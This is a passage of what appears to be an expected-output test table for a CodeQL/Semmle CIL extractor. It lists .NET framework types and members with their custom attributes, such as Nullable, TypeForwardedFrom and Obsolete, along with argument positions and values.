[TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Memory<!0> System.Buffers.IMemoryOwner`1.Memory | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Memory<!0> System.Buffers.MemoryManager`1.Memory | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Memory<!0> System.Memory`1.Empty | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Memory`1 | [DebuggerDisplayAttribute(...)] | 0 | {ToString(),raw} | +| System.Memory`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Memory`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.MethodAccessException | [NullableAttribute(...)] | 0 | 0 | +| System.MethodAccessException | [NullableContextAttribute(...)] | 0 | 2 | +| System.MethodAccessException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.MissingFieldException | [NullableAttribute(...)] | 0 | 0 | +| System.MissingFieldException | [NullableContextAttribute(...)] | 0 | 1 | +| System.MissingFieldException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.MissingMemberException | [NullableAttribute(...)] | 0 | 0 | +| System.MissingMemberException | [NullableContextAttribute(...)] | 0 | 2 | +| System.MissingMemberException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.MissingMethodException | [NullableAttribute(...)] | 0 | 0 | +| System.MissingMethodException | [NullableContextAttribute(...)] | 0 | 1 | +| System.MissingMethodException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ModuleHandle | [NullableAttribute(...)] | 0 | 0 | +| System.ModuleHandle | [NullableContextAttribute(...)] | 0 | 2 | +| System.MulticastDelegate | [ComVisibleAttribute(...)] | 0 | True | +| System.MulticastDelegate | [NullableAttribute(...)] | 0 | 0 | +| System.MulticastDelegate | [NullableContextAttribute(...)] | 0 | 1 | +| System.MulticastNotSupportedException | [NullableAttribute(...)] | 0 | 0 | +| System.MulticastNotSupportedException | [NullableContextAttribute(...)] | 0 | 2 | +| System.MulticastNotSupportedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.NotFiniteNumberException | [NullableAttribute(...)] | 0 | 0 | +| System.NotFiniteNumberException | [NullableContextAttribute(...)] | 0 | 2 | +| System.NotFiniteNumberException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.NotImplementedException | [NullableAttribute(...)] | 0 | 0 | +| System.NotImplementedException | [NullableContextAttribute(...)] | 0 | 2 | +| System.NotImplementedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.NotSupportedException | [NullableAttribute(...)] | 0 | 0 | +| System.NotSupportedException | [NullableContextAttribute(...)] | 0 | 2 | +| System.NotSupportedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.NullReferenceException | [NullableAttribute(...)] | 0 | 0 | +| System.NullReferenceException | [NullableContextAttribute(...)] | 0 | 2 | +| System.NullReferenceException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Nullable`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Number.BigInteger | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.Number.BigInteger | [ObsoleteAttribute(...)] | 1 | True | +| System.Number.DiyFp | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.Number.DiyFp | [ObsoleteAttribute(...)] | 1 | True | +| System.Number.NumberBuffer | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.Number.NumberBuffer | [ObsoleteAttribute(...)] | 1 | True | +| System.Numerics.Vector`1 | [DefaultMemberAttribute(...)] | 0 | Item | +| System.ObjectDisposedException | [NullableAttribute(...)] | 0 | 0 | +| System.ObjectDisposedException | [NullableContextAttribute(...)] | 0 | 1 | +| System.ObjectDisposedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ObsoleteAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.ObsoleteAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.OperatingSystem | [NullableAttribute(...)] | 0 | 0 | +| System.OperatingSystem | [NullableContextAttribute(...)] | 0 | 1 | +| System.OperationCanceledException | [NullableAttribute(...)] | 0 | 0 | +| System.OperationCanceledException | [NullableContextAttribute(...)] | 0 | 2 | +| System.OperationCanceledException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.OrdinalComparer | [NullableAttribute(...)] | 0 | 0 | +| System.OrdinalComparer | [NullableContextAttribute(...)] | 0 | 2 | +| System.OrdinalComparer | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.OutOfMemoryException | [NullableAttribute(...)] | 0 | 0 | +| System.OutOfMemoryException | [NullableContextAttribute(...)] | 0 | 2 | +| System.OutOfMemoryException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.OverflowException | [NullableAttribute(...)] | 0 | 0 | +| System.OverflowException | [NullableContextAttribute(...)] | 0 | 2 | +| System.OverflowException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ParamsArray | [DefaultMemberAttribute(...)] | 0 | Item | +| System.PlatformNotSupportedException | [NullableAttribute(...)] | 0 | 0 | +| System.PlatformNotSupportedException | [NullableContextAttribute(...)] | 0 | 2 | +| System.PlatformNotSupportedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Progress`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Progress`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Progress`1.ProgressChanged | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.RankException | [NullableAttribute(...)] | 0 | 0 | +| System.RankException | [NullableContextAttribute(...)] | 0 | 2 | +| System.RankException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ReadOnlyMemory<!0> System.ReadOnlyMemory`1.Empty | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.ReadOnlyMemory`1 | [DebuggerDisplayAttribute(...)] | 0 | {ToString(),raw} | +| System.ReadOnlyMemory`1 | [NullableAttribute(...)] | 0 | 0 | +| System.ReadOnlyMemory`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.ReadOnlySpan<!0> System.ReadOnlyMemory`1.Span | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.ReadOnlySpan<!0> System.ReadOnlySpan`1.Empty | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.ReadOnlySpan<System.Byte> System.Text.Encoding.Preamble | [NullableAttribute(...)] | 0 | 0 | +| System.ReadOnlySpan<System.Byte> System.Text.UTF32Encoding.Preamble | [NullableAttribute(...)] | 0 | 0 | +| System.ReadOnlySpan<System.Byte> System.Text.UnicodeEncoding.Preamble | [NullableAttribute(...)] | 0 | 0 | +| System.ReadOnlySpan<System.Byte> char.CategoryForLatin1 | [NullableAttribute(...)] | 0 | 0 | +| System.ReadOnlySpan`1 | [DebuggerDisplayAttribute(...)] | 0 | {ToString(),raw} | +| System.ReadOnlySpan`1 | [DefaultMemberAttribute(...)] | 0 | Item | +| System.ReadOnlySpan`1 | [NullableAttribute(...)] | 0 | 0 | +| System.ReadOnlySpan`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.ReadOnlySpan`1 | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.ReadOnlySpan`1 | [ObsoleteAttribute(...)] | 1 | True | +| System.ReadOnlySpan`1.Enumerator | [NullableAttribute(...)] | 0 | 0 | +| System.ReadOnlySpan`1.Enumerator | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.ReadOnlySpan`1.Enumerator | [ObsoleteAttribute(...)] | 1 | True | +| System.Reflection.AmbiguousMatchException | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AmbiguousMatchException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Reflection.AmbiguousMatchException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Reflection.Assembly | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Assembly | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Assembly.ModuleResolve | [NullableAttribute(...)] | 0 | 2 | +| System.Reflection.AssemblyCompanyAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AssemblyCompanyAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyConfigurationAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AssemblyConfigurationAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyCopyrightAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AssemblyCopyrightAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyCultureAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AssemblyCultureAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyDefaultAliasAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AssemblyDefaultAliasAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyDescriptionAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AssemblyDescriptionAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyFileVersionAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AssemblyFileVersionAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyInformationalVersionAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AssemblyInformationalVersionAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyKeyFileAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AssemblyKeyFileAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyKeyNameAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AssemblyKeyNameAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyMetadataAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AssemblyMetadataAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyName | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AssemblyName | [NullableContextAttribute(...)] | 0 | 2 | +| System.Reflection.AssemblyProductAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AssemblyProductAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblySignatureKeyAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AssemblySignatureKeyAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyTitleAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AssemblyTitleAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyTrademarkAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AssemblyTrademarkAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.AssemblyVersionAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.AssemblyVersionAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Binder | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Binder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.CerHashtable`2 | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Reflection.ConstArray | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Reflection.ConstructorInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.ConstructorInfo | [NullableContextAttribute(...)] | 0 | 2 | +| System.Reflection.ConstructorInfo System.Type.TypeInitializer | [NullableAttribute(...)] | 0 | 2 | +| System.Reflection.ConstructorInfo.ConstructorName | [NullableAttribute(...)] | 0 | 1 | +| System.Reflection.ConstructorInfo.TypeConstructorName | [NullableAttribute(...)] | 0 | 1 | +| System.Reflection.CustomAttributeData | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.CustomAttributeData | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.CustomAttributeExtensions | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.CustomAttributeExtensions | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.CustomAttributeFormatException | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.CustomAttributeFormatException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Reflection.CustomAttributeFormatException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Reflection.CustomAttributeNamedArgument | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.CustomAttributeNamedArgument | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.CustomAttributeTypedArgument | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.CustomAttributeTypedArgument | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.DefaultMemberAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.DefaultMemberAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Emit.AssemblyBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.AssemblyBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Emit.ConstructorBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.ConstructorBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Emit.CustomAttributeBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.CustomAttributeBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Emit.DynamicILInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.DynamicILInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Emit.DynamicMethod | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.DynamicMethod | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Emit.DynamicScope | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Reflection.Emit.EnumBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.EnumBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Emit.EventBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.EventBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Emit.FieldBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.FieldBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Emit.FlowControl.Phi | [ObsoleteAttribute(...)] | 0 | This API has been deprecated. https://go.microsoft.com/fwlink/?linkid=14202 | +| System.Reflection.Emit.GenericTypeParameterBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.GenericTypeParameterBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Emit.ILGenerator | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.ILGenerator | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Emit.LocalBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.LocalBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Emit.MethodBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.MethodBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Emit.ModuleBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.ModuleBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Emit.OpCode | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.OpCode | [NullableContextAttribute(...)] | 0 | 2 | +| System.Reflection.Emit.OpCodeType.Annotation | [ObsoleteAttribute(...)] | 0 | This API has been deprecated. https://go.microsoft.com/fwlink/?linkid=14202 | +| System.Reflection.Emit.OperandType.InlinePhi | [ObsoleteAttribute(...)] | 0 | This API has been deprecated. https://go.microsoft.com/fwlink/?linkid=14202 | +| System.Reflection.Emit.ParameterBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.ParameterBuilder | [NullableContextAttribute(...)] | 0 | 2 | +| System.Reflection.Emit.PropertyBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.PropertyBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Emit.SignatureHelper | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.SignatureHelper | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.Emit.TypeBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Emit.TypeBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.EventInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.EventInfo | [NullableContextAttribute(...)] | 0 | 2 | +| System.Reflection.ExceptionHandlingClause | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.ExceptionHandlingClause | [NullableContextAttribute(...)] | 0 | 2 | +| System.Reflection.FieldInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.FieldInfo | [NullableContextAttribute(...)] | 0 | 2 | +| System.Reflection.ICustomAttributeProvider | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.IReflect | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.IReflectableType | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.InterfaceMapping | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.InterfaceMapping | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.InvalidFilterCriteriaException | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.InvalidFilterCriteriaException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Reflection.InvalidFilterCriteriaException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Reflection.LocalVariableInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.LocalVariableInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.ManifestResourceInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.ManifestResourceInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.MemberInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.MemberInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.MetadataEnumResult | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Reflection.MethodBase | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.MethodBase | [NullableContextAttribute(...)] | 0 | 2 | +| System.Reflection.MethodBase System.Reflection.Emit.GenericTypeParameterBuilder.DeclaringMethod | [NullableAttribute(...)] | 0 | 2 | +| System.Reflection.MethodBase System.Reflection.Emit.TypeBuilder.DeclaringMethod | [NullableAttribute(...)] | 0 | 2 | +| System.Reflection.MethodBase System.Type.DeclaringMethod | [NullableAttribute(...)] | 0 | 2 | +| System.Reflection.MethodBody | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.MethodBody | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.MethodInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.MethodInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.MethodInfo System.Reflection.Assembly.EntryPoint | [NullableAttribute(...)] | 0 | 2 | +| System.Reflection.MethodInfo System.Reflection.Emit.AssemblyBuilder.EntryPoint | [NullableAttribute(...)] | 0 | 2 | +| System.Reflection.Missing.Value | [NullableAttribute(...)] | 0 | 1 | +| System.Reflection.Module | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.Module | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.ObfuscationAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.ObfuscationAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Reflection.ParameterInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.ParameterInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.ParameterInfo.ClassImpl | [NullableAttribute(...)] | 0 | 2 | +| System.Reflection.ParameterInfo.DefaultValueImpl | [NullableAttribute(...)] | 0 | 2 | +| System.Reflection.ParameterInfo.NameImpl | [NullableAttribute(...)] | 0 | 2 | +| System.Reflection.ParameterModifier | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Reflection.Pointer | [CLSCompliantAttribute(...)] | 0 | False | +| System.Reflection.PropertyInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.PropertyInfo | [NullableContextAttribute(...)] | 0 | 2 | +| System.Reflection.ReflectionContext | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.ReflectionContext | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.ReflectionTypeLoadException | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.ReflectionTypeLoadException | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.ReflectionTypeLoadException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Reflection.RuntimeReflectionExtensions | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.RuntimeReflectionExtensions | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.StrongNameKeyPair | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.StrongNameKeyPair | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.TargetException | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.TargetException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Reflection.TargetException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Reflection.TargetInvocationException | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.TargetInvocationException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Reflection.TargetInvocationException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Reflection.TargetParameterCountException | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.TargetParameterCountException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Reflection.TargetParameterCountException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Reflection.TypeDelegator | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.TypeDelegator | [NullableContextAttribute(...)] | 0 | 1 | +| System.Reflection.TypeInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Reflection.TypeInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.ResolveEventArgs | [NullableAttribute(...)] | 0 | 0 | +| System.ResolveEventArgs | [NullableContextAttribute(...)] | 0 | 2 | +| System.Resources.MissingManifestResourceException | [NullableAttribute(...)] | 0 | 0 | +| System.Resources.MissingManifestResourceException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Resources.MissingManifestResourceException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Resources.MissingSatelliteAssemblyException | [NullableAttribute(...)] | 0 | 0 | +| System.Resources.MissingSatelliteAssemblyException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Resources.MissingSatelliteAssemblyException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Resources.NeutralResourcesLanguageAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Resources.NeutralResourcesLanguageAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Resources.ResourceManager | [NullableAttribute(...)] | 0 | 0 | +| System.Resources.ResourceManager | [NullableContextAttribute(...)] | 0 | 1 | +| System.Resources.ResourceManager.MainAssembly | [NullableAttribute(...)] | 0 | 2 | +| System.Resources.ResourceSet | [NullableAttribute(...)] | 0 | 0 | +| System.Resources.ResourceSet | [NullableContextAttribute(...)] | 0 | 1 | +| System.Resources.SatelliteContractVersionAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Resources.SatelliteContractVersionAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.AmbiguousImplementationException | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.AmbiguousImplementationException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.AmbiguousImplementationException | [TypeForwardedFromAttribute(...)] | 0 | System.Runtime, Version=4.2.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a | +| System.Runtime.AssemblyTargetedPatchBandAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.AssemblyTargetedPatchBandAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.AccessedThroughPropertyAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.AccessedThroughPropertyAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.AsyncIteratorMethodBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.AsyncIteratorMethodBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.AsyncMethodBuilderAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.AsyncMethodBuilderAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.AsyncTaskMethodBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.AsyncTaskMethodBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.AsyncValueTaskMethodBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.AsyncValueTaskMethodBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.AsyncValueTaskMethodBuilder`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.AsyncValueTaskMethodBuilder`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.AsyncVoidMethodBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.AsyncVoidMethodBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.CallerArgumentExpressionAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.CallerArgumentExpressionAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.ConditionalWeakTable`2 | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.ConditionalWeakTable`2 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.ConditionalWeakTable`2.CreateValueCallback | [NullableContextAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.ContractHelper | [NullableAttribute(...)] | 0 | 0 | +| 